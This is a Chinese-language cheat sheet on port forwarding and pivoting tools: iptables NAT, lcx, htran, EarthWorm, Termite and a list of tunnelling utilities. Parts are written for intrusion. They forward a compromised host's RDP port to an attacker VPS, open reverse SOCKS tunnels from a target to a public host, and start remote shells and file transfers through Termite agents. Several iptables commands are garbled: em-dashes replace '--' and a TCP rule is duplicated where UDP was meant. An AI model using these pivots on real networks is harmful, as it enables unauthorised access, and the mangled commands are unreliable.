portfwd

iptables

TCP,UDP

  • Iptables可以实现多种三层网络协议的转发
  • tcp,udp,GRE协议
  1. 开启转发功能

    1. echo 1 > /proc/sys/net/ipv4/ip_forward
    2. sudo sysctl p //若运行后显示 net.ipv4.ip_forward = 1,表示修改生效了

    编辑修改/etc/sysctl.conf文件可以配置为开机时生效

    1. #. Controls IP packet forwarding
    2. net.ipv4.ip_forward = 1
  2. 开启系统nat模块

    1. /sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  3. tcp,udp转发 ```bash 到这一步我们就可以开始设置 tcp与udp的转发了,如下示例:

将对127.0.0.1的53端口的TCP与UDP访问转发到对应的119.29.29.29:53端口(127.0.0.1在这里只是一个示例,实际操作中建议修改为网卡的IP) iptables -t nat -A PREROUTING -d 127.0.0.1 -p tcp —dport 53 -j DNAT —to-destination 119.29.29.29:53 iptables -t nat -A PREROUTING -d 127.0.0.1 -p tcp —dport 53 -j DNAT —to-destination 119.29.29.29:53

将本机的 7777 端口转发到 6666 端口。 iptables -t nat -A PREROUTING -p tcp —dport 7777 -j REDIRECT —to-port 6666

  1. 转发到其他机器
  2. ```bash
  3. sysctl -w net.ipv4.ip_forward=1
  4. iptables -t nat -A PREROUTING -p tcp --dport 6666 -j DNAT --to-destination 192.168.1.8:7777
  5. iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.8 --dport 7777 -j SNAT --to-source 192.168.1.168

image.png

GRE

接下来我们进行GRE协议的转发,GRE协议一般用在PPTP的VPN中,GRE是与TCP UDP一样的平级协议,处于网络中的第三层
首先加载 ip_nat_pptp,命令如下

  1. modprobe ip_nat_pptp

卸载这个模块的命令为

  1. modprobe -r ip_nat_pptp

然后就可以进行GRE协议端口的转发了,PPTP使用的是GRE 47端口,执行如下命令:

  1. iptables -t nat -I PREROUTING -p 47 -j DNAT --to 119.28.82.203

如果想要查看当前 iptables中的nat规则可以使用如下命令:

  1. iptables -t nat -nL

iptables的规则默认重启就失效了所以需要保存在配置文件中,然后再网卡中加载,方法如下:

  1. sudo iptables-save > /etc/iptables-rules
  2. vim /etc/network/interfaces


找到 eth0 那一节,在对 eth0 的设置最末尾加上下面这句:

  1. pre-up iptables-restore < /etc/iptables-rules

这样当系统重启后则会自动加载我们设置好的转发规则

同样的 ip_nat_pptp 这个模块我们也需要配置开机自动加载,/etc/modules 这个文件用于设置在系统启动时自动加载的模块,系统在启动时会按照行数依次加载

  1. vim /etc/modules

添加一行,输入 ip_nat_pptp 保存退出即可

lcx

1615379661_6048bccd1fd0329077fc6.jpg

  1. Usage:lcx-<listen|tran|slave> <option> [-log logfile]
  2. -tran <本地等待连接的端口> <目标ip> <目标端口> (端口映射)
  3. -listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口> (端口转发)
  4. -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口> (端口转发)

A、正向代理:

a、首先在win 03上面做端口转发,将3389端口转发到web服务器上面地址的某个端口
lcx -slave web服务器(内网ip) 公网端口内网地址 内网端口
lcx -slave 192.168.52.4 6666 127.0.0.1 3389
或者
lcx -slave 192.168.52.4 6666 192.168.52.3 3389

b、在web服务器监听到6666端口再转发出去,咱们vps服务器或者我们的攻击机器再去用远程桌面连接这个转发出来的端口
lcx –listen 刚才转发过来的端口 转发出去的端口(用户被vps或者攻击机的连接端口)
lcx –listen 6666 7777

htran

和lcx一样

  1. * :Plesae open README.md to read complete HTran usage
  2. *
  3. * : [Usage of Packet Transmit:]
  4. * : HTran -<listen|tran|slave> <option> [-log logfile]
  5. * :
  6. * : [option:]
  7. * : -listen <ConnectPort> <TransmitPort>
  8. * : -tran <ConnectPort> <TransmitHost> <TransmitPort>
  9. * : -slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
  10. Welcome to http://www.cnhonker.com

ew

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。模式:ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran

1.正向SOCKS v5服务器

直接在服务器上面执行下面命令,将本机作为SOCKS5服务器使用,一般是在公网IP上面执行:

  1. ./ew -s ssocksd -l 1080

然后将该主机作为SOCKS5服务器:

  1. curl ip.cn -x socks5://公网IP:1080 //或者proxychains

2.反弹SOCKS v5服务器

这个操作具体分两步:
(1)先在一台具有公网 ip 的主机A上运行以下命令:

  1. ./ew -s rcsocks -l 1080 -e 8888

(2)在目标主机B上启动SOCKS v5服务,并反弹到公网主机的8888端口:

  1. ./ew -s rssocks -d 1.1.1.1 -e 8888

让后通过公网1080端口将内网主机作为SOCKS5服务器:

  1. curl ip.cn -x socks5://1.1.1.1:1080

3.多级级联

工具中自带的三条端口转发指令,参考lcx工具命令,它们的参数格式分别为:

  1. ./ew -s lcx_listen -l 1080 -e 8888
  2. ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
  3. ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
  • 通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如SOCKS v5。

    二级级联案例

    1.lcx_tran 的用法

    1. ./ew -s ssocksd -l 9999 # 将本机9999端口作为SOCKS5服务器
    2. ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999 # 将本机的1080端口转发到127.0.0.1上的9999端口

    2.lcx_listen、lcx_slave 的用法

    1. $ ./ew -s lcx_listen -l 1080 -e 8888 # 监听1080端口并转发到8888端口
    2. $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 # 将127.0.0.1的9999端口转发到127.0.0.1的8888端口
    3. $ ./ew -s ssocksd -l 9999 # 将本机9999端口作为SOCKS5服务器
  • 数据流流向:SOCKS v5 -> 1080 -> 8888 -> 9999 -> rssocks

    三级级联案例

    1. $ ./ew -s rcsocks -l 1080 -e 8888
    2. $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    3. $ ./ew -s lcx_listen -l 9999 -e 7777
    4. $ ./ew -s rssocks -d 127.0.0.1 -e 7777
  • 数据流向:SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

    termite

  • Termite是EarthWorm的最新版,多种操作系统下均有Agent实现、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便。官方地址:http://rootkiter.com/Termite/

  • Termite分为管理端(admin端)和被管理端(agent端),所有的被管理及其必须要部署agent。agent可以相互连接,被上游agent所管理。
  1. 以服务模式启动一个agent服务。
  1. $ ./agent -l 8888
  1. 令管理端连接到agent并对agent进行管理。

    1. ./admin -c 127.0.0.1 -p 8888
  2. 此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。

    1. help
  3. 通过show指令可以得到当前agent的拓扑情况。 ```bash show 0M +— 1M 由于当前拓扑中只有一个agent,所以展示结果只有 1M , 其中1 为节点的ID号, M为MacOS系统的简写,Linux为L,Windows简写为W。

  1. 5. 将新agent加入当前拓扑
  2. ```bash
  3. agent -c 127.0.0.1 -p 8888
  1. 此时show指令将得到如下效果 0M +— 1M | +— 2M 这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。
  2. 在2节点开启socks代理,并绑定在本地端口

goto 2 将当前被管理节点切换为 2 号节点。 socks 1080 此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。

  1. 在1号节点开启一个shell并绑定到本地端口
  1. goto 1 shell 7777 此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell.
  1. 将远程的文件下载至本地
    1. goto 1 downfile 1.txt 2.txt 1 节点,目录下的 1.txt 下载至本地,并命名为2.txt
  1. 上传文件至远程节点
  1. goto 2 upfile 2.txt 3.txt 将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt
  1. 端口转接
  1. goto 2 lcxtran 3388 10.0.0.1 3389 2号节点为跳板,将 10.0.0.1 3389 端口映射至本地的 3388 端口

http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4 http://rootkiter.com/toolvideo/toolmp4/2socks.mp4 http://rootkiter.com/toolvideo/toolmp4/3lcxtran.mp4 http://rootkiter.com/toolvideo/toolmp4/4shell.mp4 http://rootkiter.com/toolvideo/toolmp4/5file.mp4

portmap

Dog Tunnel

Dog Tunnel是一款基于kcp的p2p端口映射工具,同时支持socks5代理。在KCP出现后进行了重构,将其底层UDP支持替换为了KCP,使其效率大大提高,在某些恶劣的网络环境下依旧能有不错的效果。当然,它也是支持TCP模式的,另外它也是支持加密的,在P2P打洞失败的情况下也能够自动切换为C/S模式来使用服务器中转。官方地址:https://github.com/vzex/dog-tunnel

rtcp

FPipe

portfwd

rinetd

powershell

passport

rinetd

Plink

Web Socks

webshell

reduh

ABPtts

TUnna

内网穿透

ngrok

holer

lanproxy

frp

nps

Proxyer

Serveo

pipe

windows下面的端口转发软件,比较老牌的工具,使用场景有限。

sockscap

老牌的socks代理工具,主要针对windows平台的端口转发和代理转发。

proxifier

跨平台的端口转发和代理工具,适用windows,linux,Macos平台,代理转发利器

Rsscoks

nix平台下的端口转发和代理工具,配合proxychains好用到不行。

Proxychains

nix平台下老牌的socks代理工具,一般的系统都会自带,谁用谁知道。

ssh proxy

通过ssh做端口代理和转发,一般*nix系统都自带。